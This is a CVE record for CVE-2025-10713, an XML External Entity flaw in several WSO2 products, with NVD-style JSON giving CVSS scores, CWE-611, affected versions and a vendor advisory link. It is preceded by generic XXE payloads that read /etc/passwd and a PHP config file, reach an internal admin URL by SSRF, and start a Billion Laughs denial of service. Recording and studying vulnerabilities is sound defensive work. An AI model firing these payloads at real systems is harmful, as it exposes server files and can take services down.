CVE-2025-10713

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>&xxe;</foo> <!-- XXE to read source code or config files --> <?xml version="1.0"?> <!DOCTYPE data [ <!ENTITY file SYSTEM "file:///var/www/html/config.php"> ]> <data>&file;</data> <!-- XXE for SSRF --> <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal-server:8080/admin"> ]> <foo>&xxe;</foo> <!-- Billion Laughs Attack (DoS) --> <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> ]> <lolz>&lol3;</lolz>

{"cve": {"id": "CVE-2025-10713", "sourceIdentifier": "ed10eef1-636d-4fbe-9993-6890dfa878f8", "published": "2025-11-05T18:15:32.247", "lastModified": "2025-12-04T21:07:04.400", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An XML External Entity (XXE) vulnerability exists in multiple WSO2 products due to improper configuration of the XML parser. The application parses user-supplied XML without applying sufficient restrictions, allowing resolution of external entities.\n\nA successful attack could enable a remote, unauthenticated attacker to read sensitive files from the server's filesystem or perform denial-of-service (DoS) attacks that render affected services unavailable."}], "metrics": {"cvssMetricV31": [{"source": "ed10eef1-636d-4fbe-9993-6890dfa878f8", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "ed10eef1-636d-4fbe-9993-6890dfa878f8", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-611"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_control_plane:4.5.0:-:*:*:*:*:*:*", "matchCriteriaId": "DEEA7DB5-BBF7-44A4-9FB6-0D235A44C680"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:3.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "1344FB79-0796-445C-A8F3-C03E995925D1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:3.2.0:*:*:*:*:*:*:*", "matchCriteriaId": "E31E32CD-497E-4EF5-B3FC-8718EE06EDAD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:3.2.1:*:*:*:*:*:*:*", "matchCriteriaId": "B58251E8-606B-47C8-8E50-9F9FC8C179BD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:4.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "E21D7ABF-C328-425D-B914-618C7628220B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:4.1.0:-:*:*:*:*:*:*", "matchCriteriaId": "51465410-6B7C-40FD-A1AB-A14F650A6AC8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:4.2.0:-:*:*:*:*:*:*", "matchCriteriaId": "851470CC-22AB-43E4-9CC6-5E22D49B3572"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:4.3.0:-:*:*:*:*:*:*", "matchCriteriaId": "9EBAB99E-6F0F-4CE9-A954-E8878826304C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:4.4.0:-:*:*:*:*:*:*", "matchCriteriaId": "0B3E6207-B2CF-487C-9CB8-906248B665C9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:4.5.0:-:*:*:*:*:*:*", "matchCriteriaId": "D47B760D-5418-4FB0-88F0-3F78BAFF63E1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:enterprise_integrator:6.6.0:*:*:*:*:*:*:*", "matchCriteriaId": "E4A07C73-3E6B-4CF9-BEB9-39C6081C0332"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:identity_server:5.10.0:*:*:*:*:*:*:*", "matchCriteriaId": "F4F126CA-A2F9-44F4-968B-DF71765869E5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:identity_server:5.11.0:*:*:*:*:*:*:*", "matchCriteriaId": "2153AECE-020A-4C01-B2A6-F9F5D98E7EBE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:identity_server:7.1.0:-:*:*:*:*:*:*", "matchCriteriaId": "A5358E6E-8C01-408D-8692-B1A326DC630F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:open_banking_am:2.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "94347800-04D2-48C4-ACF0-078A5ACBB063"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:open_banking_iam:2.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "D7C241A3-8EA0-41E4-ABF3-21B9D8E7A5BE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:traffic_manager:4.5.0:*:*:*:*:*:*:*", "matchCriteriaId": "C7413107-D7B2-49AE-AC46-52E7BFCD6ED8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:universal_gateway:4.5.0:*:*:*:*:*:*:*", "matchCriteriaId": "61636553-C25E-44DF-93D7-EB3E1056D1DC"}]}]}], "references": [{"url": "https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2025/WSO2-2025-4505/", "source": "ed10eef1-636d-4fbe-9993-6890dfa878f8", "tags": ["Vendor Advisory"]}]}}